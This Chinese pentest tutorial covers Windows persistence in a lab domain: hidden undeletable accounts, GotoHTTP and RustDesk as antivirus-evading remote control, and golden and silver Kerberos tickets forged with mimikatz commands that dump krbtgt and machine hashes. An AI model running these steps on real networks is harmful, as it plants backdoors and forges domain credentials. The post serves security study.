windows权限维持—黄金白银票据隐藏用户远控RustDeskGotoHttp

windows权限维持—黄金白银票据&隐藏用户&远控&RustDesk&GotoHttp

  • 1. 前置
    • 1.1. 初始问题
      • 1.1.1. 解决办法
  • 2. 隐藏用户
    • 2.1. 工具原理
    • 2.2. 案例操作
      • 2.2.1. 单机添加用户
        • 2.2.1.1. 工具添加用户
        • 2.2.1.2. 工具查看隐藏用户
        • 2.2.1.3. 本地查看隐藏用户
      • 2.2.2. 域内添加用户
        • 2.2.2.1. 工具添加用户
        • 2.2.2.2. 工具查看隐藏用户
        • 2.2.2.3. 本地查看隐藏用户
    • 2.3. 总结
  • 3. 远控软件
    • 3.1. GotoHTTP
      • 3.1.1. 运行软件
      • 3.1.2. 远控读取文件
      • 3.1.3. 远控桌面
      • 3.1.4. 总结
    • 3.2. RustDesk
      • 3.2.1. 远程版RustDesk
        • 3.2.1.1. 运行软件
        • 3.2.1.2. 读取远控文件
        • 3.2.1.3. 远控桌面
      • 3.2.2. 本地版RustDesk
        • 3.2.2.1. 配置软件
        • 3.2.2.2. 远程桌面
      • 3.2.3. 总结
  • 4. 基于服务TGT—黄金白银票据
    • 4.1. 黄金票据
      • 4.1.1. 操作演示
        • 4.1.1.1. 获取域名与SID
        • 4.1.1.2. 获取KRBTGT账户NTLM
        • 4.1.1.3. 伪造用户名
        • 4.1.1.4. 导入内存
      • 4.1.2. 总结
    • 4.2. 白银票据
      • 4.2.1. 操作演示
        • 4.2.1.1. 获取域名与SID
        • 4.2.1.2. 获取DC账户NTLM
        • 4.2.1.3. 伪造用户名
      • 4.2.2. 总结
    • 4.3. 总结

1. 前置

  在上篇权限维持中,有一个知识点出现了错误,基于机制账号启动—DSRM,里面的用户应该使用的是用户是krbtgt账号,不应该随便使用一个用户,当时测试的时候,是由于在域用户内找了很久都没找到这个用户,今天在测试的时候,使用查找是找到了这个用户,但是最关键的问题就是在域内用户列表中依旧是找不到的,虽然被停用,但应该也不至于找不到吧。

  注意基于机制账号启动—DSRM要使用krbtgt账号来测试,由于krbtgt是密钥分发中心的账号,通常也不会有人去管理这个用户,而且将DSRM的密码同步过来后,就可以使用krbtgt账号来进行登陆。

1.1. 初始问题

  一开始的问题就是,重置这里出现了问题,我查阅了网上一大堆文章,每篇文章就截了个图,或者直接说,这里启用就可以了,你写你*文章啊,给鬼看的啊。

  其实这个原因就是krbtgt这个用户被禁用了,同时你直接在ad用户与计算机中还找不到这个用户,使用查找找到了,还不能修改,提示本地账户无权限。

在这里插入图片描述

1.1.1. 解决办法

  这里去在AD管理中心能够找到这个用户,不过依旧启用不了,但是将密码修改为永不过期就能够解决这个问题了。

在这里插入图片描述

2. 隐藏用户

  隐藏用户是在日常留后门中最常用的一种操作,可以将用户隐藏起来,来实现不被察觉。这里默认情况使用命令添加的隐藏用户,是能够被查询到的并且删除的,但是使用工具添加的隐藏用户就算被查询到,但是是无法被删除的。

  CreateHiddenAccount

2.1. 工具原理

  其实这个工具的原理就是在创建用户的时候添加$符号,并且将该用户的用户组设定为空,不过在单域环境中用户组是空,域环境中用户组是administrator组,导致无法删除。

2.2. 案例操作

  这里就简单的将工具上传至目标靶机上进行执行,但是目前这个工具不免杀了,基本上就是下载就是被杀。

  这里我们测试单机情况与域情况。

2.2.1. 单机添加用户

  这里我们测试单机添加与查询。

2.2.1.1. 工具添加用户

CreateHiddenAccount_upx_v0.2.exe -u yaya -p admin@123   ##添加用户

在这里插入图片描述

2.2.1.2. 工具查看隐藏用户

  这里是使用这个工具自带的查询来进行查询隐藏用户。

CreateHiddenAccount_upx_v0.2.exe -c

在这里插入图片描述

2.2.1.3. 本地查看隐藏用户

  可以看到从本地确实也能够看到隐藏用户,但是你会发现,是无法删除这个用户的,其实这个就是由于之前说的,在单机版中用户的用户组什么都没添加,所以导致无权进行删除。

在这里插入图片描述

2.2.2. 域内添加用户

  这里查询域内添加与查询。

2.2.2.1. 工具添加用户

CreateHiddenAccount_upx_v0.2.exe -u yaya -p admin@123

在这里插入图片描述

2.2.2.2. 工具查看隐藏用户

CreateHiddenAccount_upx_v0.2.exe -c

在这里插入图片描述

2.2.2.3. 本地查看隐藏用户

  可以看到这里是可以删除的,而单机版中是直接点击删除就提示禁止删除。

在这里插入图片描述

2.3. 总结

  总的来说隐藏用户目前的手段基本上服务器出现问题,第一件事都是查询隐藏用户,所以这个算是后门的一种方式,但是现在再来看已经不是那么好用了。

3. 远控软件

  远控软件都不陌生,比如向日葵、todesk等,都是远控软件,这类远控软件都不会被杀毒软件杀,这是由于这些产品都属于远程办公类软件,杀毒软件厂家基本上都把这些软件都列入白名单中的,所以各种操作都会被杀毒软件检测。

  而且原先向日葵是存有那种便携版的,不需要安装即可使用,但是后续版本高,同时RCE漏洞,导致向日葵现在都需要进行安装,而你去建立后面,直接使用向日葵的话,你需要安装,同时目标风险很大,所以在实际过程中,尽量使用一些小而轻巧的软件来实现远程控制,从而达到权限维持。

  不过也还是那句话,如果服务器经常有人巡检,像这类工具,你上传基本上就会被查到,太明显了。

3.1. GotoHTTP

  GotoHTTP Windows版本是绿色软件,点击右边链接下载软件包,文件大小仅数百K,只有一个文件在软件包中,将其解压到你电脑的某个位置,并双击运行它, 将会自动连接到服务器并显示这台电脑的ID及控制码。

GotoHTTP

3.1.1. 运行软件

  Windows7运行后会弹出这个弹窗,可能在命令行上操作会比较麻烦,同时Windows7有,那么意味着可能Windows server 2008这些老版的服务器都会出现,不过在Windows10上操作是没问题的。

在这里插入图片描述

3.1.2. 远控读取文件

  你运行完会发现,在该软件目录下会创建一个配置文件,届时你使用CS去读取一下这个配置文件就可以了,这个配置文件中会存在账户密码的。

在这里插入图片描述

3.1.3. 远控桌面

  登陆下面的网站,在网站上面会有一个输入账号密码的地方,这里输入上去就可以了,无需下载上面客户端,服务端的,现在还要收费了,尴尬…

  远程桌面

在这里插入图片描述

3.1.4. 总结

  这个工具存在一个问题就是有网络的情况下才能够使用,而在无网络的情况下是无法使用的,同时流量是走https协议,需要目标主机开放443端口。

  简单来说就是:

  有网络,无限制,可以使用。

  有网络,如果防火墙限制了443端口,无法使用。

  无网络,无限制,可以使用,但是可能需要转发,比较麻烦。

  无网络,有限制,基本上就是无法使用。

  同时如果目标主机处于待机状态,如果被唤醒是会被防火墙拦截的。

3.2. RustDesk

  远程桌面软件,开箱即用,无需任何配置。您完全掌控数据,不用担心安全问题。

  RustDesk

3.2.1. 远程版RustDesk

  这里的远控版意思就是可以从网络上进行连接,简单来说就是有网络情况下使用。

3.2.1.1. 运行软件

  这个工具默认打开是英文的,不过是可以在设置中修改为中文的。

在这里插入图片描述

3.2.1.2. 读取远控文件

  这个工具的账号密码文件在C:\Users\用户名\AppData\Roaming\RustDesk\config\RustDesk.toml下,不过很可惜,新版的这个工具可能无法读取文件了,老版是还有的。

在这里插入图片描述

3.2.1.3. 远控桌面

  这里可以看到是成功连接上对方的桌面了,但这里由于我是虚拟机,比较卡,所以画面传输的比较慢。

在这里插入图片描述

3.2.2. 本地版RustDesk

  本地版的意思就是无需网络,只要两个软件在同一个局域网内,都可以进行连接。

3.2.2.1. 配置软件

  同样这里,先去读取一下文件C:\Users\用户名\AppData\Roaming\RustDesk\config\RustDesk2.toml,添加下列内容。

direct-server = 'Y'      ##开启IP连接
direct-access-port = '8443' ##端口   

在这里插入图片描述

3.2.2.2. 远程桌面

  这里我们是使用域内环境,其实也就是不出网情况,这里可以看到,直接在输入对方的ID位置,输入IP加端口即可。

IP:8443  ##8443是你再配置文件中修改的端口地址。

在这里插入图片描述

3.2.3. 总结

  总体来说这个工具要比GotoHTTP要方便很多,最主要的功能就是能够脱离网络实现连接,同时可以绕过有杀软的环境。

4. 基于服务TGT—黄金白银票据

  Kerberos协议是Windows域内认证常用的协议,整体的认证流程也就是黄金票据与白银票据的攻击场景。整体的流程较为复杂,理解起来也不是看完就能了解的。

  参考文章

  注意黄金票据与白银票据归属在权限维持阶段,而不是横向移动阶段。

4.1. 黄金票据

  黄金票据原理就是通过伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户,同时可以访问目标主机中任何服务。

  在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了黄金票据后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

  利用条件:获取域控的权限、krbtgt用户的hash值。

4.1.1. 操作演示

  这里我就不在CS中去操作了,直接实际操作,如果出现一些无法在CS中完成的,我会进行说明。

4.1.1.1. 获取域名与SID

  注意这里的SID最后面的4位是不需要的。

whoami    ##获取本地账户
net time /domain   ##获取域名
whoami /all      ##获取sid:S-1-5-21-1695257952-3088263962-2055235443

在这里插入图片描述

4.1.1.2. 获取KRBTGT账户NTLM

  这里需要使用mimikatz来进行获取。

privilege::debug
lsadump::lsa /patch /user:krbtgt   ##558ae7f88589153355cbeb046ac696df

在这里插入图片描述

4.1.1.3. 伪造用户名

  这里的用户名随便伪造一个,我这里伪造成yuto吧。

mimikatz kerberos::golden /user:yuto /domain:xiaodi.local /sid:S-1-5-21-1695257952-3088263962-2055235443 /krbtgt:558ae7f88589153355cbeb046ac696df /ticket:pj

在这里插入图片描述

4.1.1.4. 导入内存

  可以看到这里找一台域内主机,将这个票据导入后就能够服务域控了。

kerberos::ptt pj

在这里插入图片描述

4.1.2. 总结

  黄金票据,为什么说是黄金票据,由于该票据是不受TGT生命周期限制的,默认情况下TGT票据默认是10小时、最多续订7天,而且这个票据可以一直保存,只要KRBTGT账户的密码不被修改,则该票据可以一直访问,同时利用上也简单。

  不过黄金票据也属于二次攻击,第一次是为了拿到域控权限而去进行操作,而第二次攻击则是为了再次获取权限来进行的操作,同时黄金票据不单单可以生成krbtgt用户的TGT票据,还可以生成其他用户的,只不过,由于krbtgt用户的密码通常很少会去修改,所以间接性保证了票据的稳定性,如果是其他用户,可能几天改一次就导致票据失效。

4.2. 白银票据

  黄金票据伪造的是TGT也就是门票发门票,而白银票据则是伪造ST也就是门票,白银票据的好处是不会经过KDC,从而更加的隐蔽,但是缺点也很明显,那就是只对部分服务起作用,例如:cifs(文件共享服务)、mssql、winrm(Windows远程管理)、DNS等。

  利用条件:拿到目标机器的hash,也就是登陆的hash值,这里不一定是DC的,但是我们权限维持,尽量还是去拿DC的权限。

4.2.1. 操作演示

  同样这里也是不使用CS来操作,直接在机器上操作,CS中是一样的。

4.2.1.1. 获取域名与SID

  这里和黄金票据是一样的,就不演示了。

whoami
net time /domain
whoami /all

4.2.1.2. 获取DC账户NTLM

  这里要注意是机器名,不要是administrator的账户。

privilege::debug
sekurlsa::logonpasswords  ##f0ff7995e6d3396e869a01e6b465eeaa

在这里插入图片描述

4.2.1.3. 伪造用户名

  这里的用户名随便伪造一个,我这里伪造成yuto吧。

  • domain:域名
  • sid:域环境下的SID,除去最后-的部分剩下的内容
  • target:要访问的服务器,写FQDN
  • rc4:写的是目标主机的NTLM(主机名$对应NTLM)
  • service:要访问的资源类型
  • user:伪造的用户
  • cifs:共享文件

  其实这里可以看到导入后,确实有票据了,但是利用确实比较麻烦的,这里是将目标服务定位cifs,也就是说只有当目标主机上有cifs服务的时候才能进行利用。

kerberos::golden /user:yuto /domain:xiaodi.local /sid:S-1-5-21-1695257952-3088263962-2055235443 /target:DC /service:cifs /rc4:f0ff7995e6d3396e869a01e6b465eeaa /ptt

kerberos::golden /user:xxx用户名 /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash  /ptt

在这里插入图片描述

4.2.2. 总结

  白银票据可利用的局限性太多了。

4.3. 总结

  关于黄金票据与白银票据的简要总结。

  黄金票据:是抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。

  白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/81723.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

玩机搞机----面具模块的组成 制作模块

root面具相信很多玩家都不陌生。早期玩友大都使用第三方卡刷补丁来对系统进行各种修复和添加功能。目前面具补丁代替了这些操作。今天的帖子了解下面具各种模块的组成和几种普遍的代码组成。 Magisk中运行的每个单独的shell脚本都将在内部的BusyBox的shell中执行。对于与第三方…

代码随想录算法训练营day39 | 62. 不同路径,63. 不同路径 II

目录 62. 不同路径 63. 不同路径 II 62. 不同路径 类型:动态规划 难度:medium 思路: 应用二维数组的动态规划,到达某个方格的方法数目,为这个方格的上一个方格和左一个方格的方法数目和。 需要先初始化第一行和第一…

关于查看处理端口号和进程[linux]

查看端口号 lsof -i:端口号如果-bash: lsof: 未找到命令那我们可以执行yum install lsof 删除端口号进程 一般我们都会使用kill命令 kill -l#列出所有可用信号1 (HUP):重新加载进程。9 (KILL):杀死一个进程。15 (TERM):正常停止一个进程。 …

PyTorch Lightning:通过分布式训练扩展深度学习工作流

一、介绍 欢迎来到我们关于 PyTorch Lightning 系列的第二篇文章!在上一篇文章中,我们向您介绍了 PyTorch Lightning,并探讨了它在简化深度学习模型开发方面的主要功能和优势。我们了解了 PyTorch Lightning 如何为组织和构建 PyTorch 代码提…

详解junit

目录 1.概述 2.断言 3.常用注解 3.1.Test 3.2.Before 3.3.After 3.4.BeforeClass 3.5.AfterClass 4.异常测试 5.超时测试 6.参数化测试 1.概述 什么是单元测试: 单元测试,是针对最小的功能单元编写测试代码,在JAVA中最小的功能单…

openpose姿态估计【学习笔记】

文章目录 1、人体需要检测的关键点2、Top-down方法3、Openpose3.1 姿态估计的步骤3.2 PAF(Part Affinity Fields)部分亲和场3.3 制作PAF标签3.4 PAF权值计算3.5 匹配方法 4、CPM(Convolutional Pose Machines)模型5、Openpose5.1 …

博客系统之功能测试

博客系统共有:用户登录功能、发布博客功能、查看文章详情功能、查看文章列表功能、删除文章功能、退出功能 1.登录功能: 1.1测试对象:用户登录 1.2测试用例 方法:判定表 用例 编号 操作步骤预期结果实际结果截图1 1.用户名正确…

【C++从0到王者】第二十一站:继承

文章目录 前言一、继承的概念及定义1. 继承的概念2.继承的格式3.继承关系与访问限定符 二、基类和派生类的赋值转换三、继承中的作用域四、派生类的默认成员函数五、继承与友元六、继承与静态成员 前言 继承是面向对象的三大特性之一。我们常常会遇到这样的情况。很多角色的信…

一、docker及mysql基本语法

文章目录 一、docker相关命令二、mysql相关命令 一、docker相关命令 &#xff08;1&#xff09;拉取镜像&#xff1a;docker pull <镜像ID/image> &#xff08;2&#xff09;查看当前docker中的镜像&#xff1a;docker images &#xff08;3&#xff09;删除镜像&#x…

Python web实战之细说 Django 的单元测试

关键词&#xff1a; Python Web 开发、Django、单元测试、测试驱动开发、TDD、测试框架、持续集成、自动化测试 大家好&#xff0c;今天&#xff0c;我将带领大家进入 Python Web 开发的新世界&#xff0c;深入探讨 Django 的单元测试。通过本文的实战案例和详细讲解&#xff…

DNS域名解析服务器

一、DNS简介 1、因特网的域名结构 2、域名服务器的类型划分 二、DNS域名解析的过程 三、DNS服务器配置 两个都定义&#xff0c;ttl的优先&#xff1a; 能解析&#xff0c;不能拼通&#xff08;没有13这个主机&#xff09; 别名&#xff1a; 测试&#xff1a; 主&#xff08;192…

AI在日常生活中的应用:从语音助手到自动驾驶

文章目录 AI的定义和发展AI在日常生活中的应用1. **智能语音助手**2. **智能家居**3. **智能医疗**4. **自动驾驶** 代码示例&#xff1a;使用Python实现基于机器学习的图片分类AI的未来前景结论 &#x1f389;欢迎来到AIGC人工智能专栏~探索AI在日常生活中的应用 ☆* o(≧▽≦…

fiddler抓包问题记录,支持https、解决 tunnel to 443

fiddler下载安装步骤及基本配置 fiddler抓包教程&#xff0c;如何抓取HTTPS请求&#xff0c;详细教程 可能遇到的问题及解决方案 1. 不能正常访问页面&#xff08;所有https都无法访问&#xff09; 解决方案&#xff1a;查看下面配置是否正确 Rules-customization 找到 OnB…

Django进阶:DRF(Django REST framework)

什么是DRF&#xff1f; DRF即Django REST framework的缩写&#xff0c;官网上说&#xff1a;Django REST framework是一个强大而灵活的工具包&#xff0c;用于构建Web API。 简单来说&#xff1a;通过DRF创建API后&#xff0c;就可以通过HTTP请求来获取、创建、更新或删除数据(…

常见排序集锦-C语言实现数据结构

目录 排序的概念 常见排序集锦 1.直接插入排序 2.希尔排序 3.选择排序 4.堆排序 5.冒泡排序 6.快速排序 hoare 挖坑法 前后指针法 非递归 7.归并排序 非递归 排序实现接口 算法复杂度与稳定性分析 排序的概念 排序 &#xff1a;所谓排序&#xff0c;就是使一串记录&#…

Win11中zookeeper的下载与安装

下载步骤 打开浏览器&#xff0c;前往 Apache ZooKeeper 的官方网站&#xff1a;zookeeper官方。在主页上点击"Project"选项&#xff0c;并点击"Release" 点击Download按钮&#xff0c;跳转到下载目录 在下载页面中&#xff0c;选择版本号&#xff0c;并点…

什么是Pytorch?

当谈及深度学习框架时&#xff0c;PyTorch 是当今备受欢迎的选择之一。作为一个开源的机器学习库&#xff0c;PyTorch 为研究人员和开发者们提供了一个强大的工具来构建、训练以及部署各种深度学习模型。你可能会问&#xff0c;PyTorch 是什么&#xff0c;它有什么特点&#xf…

springboot、java实现调用企业微信接口向指定用户发送消息

因为项目的业务逻辑需要向指定用户发送企业微信消息&#xff0c;所以在这里记录一下 目录 引入相关依赖创建配置工具类创建发送消息类测试类最终效果 引入相关依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-…

【Python机器学习】实验14 手写体卷积神经网络(PyTorch实现)

文章目录 LeNet-5网络结构&#xff08;1&#xff09;卷积层C1&#xff08;2&#xff09;池化层S1&#xff08;3&#xff09;卷积层C2&#xff08;4&#xff09;池化层S2&#xff08;5&#xff09;卷积层C3&#xff08;6&#xff09;线性层F1&#xff08;7&#xff09;线性层F2 …

数据可视化-canvas-svg-Echarts

数据可视化 技术栈 canvas <canvas width"300" height"300"></canvas>当没有设置宽度和高度的时候&#xff0c;canvas 会初始化宽度为 300 像素和高度为 150 像素。切记不能通过样式去设置画布的宽度与高度宽高必须通过属性设置&#xff0c;…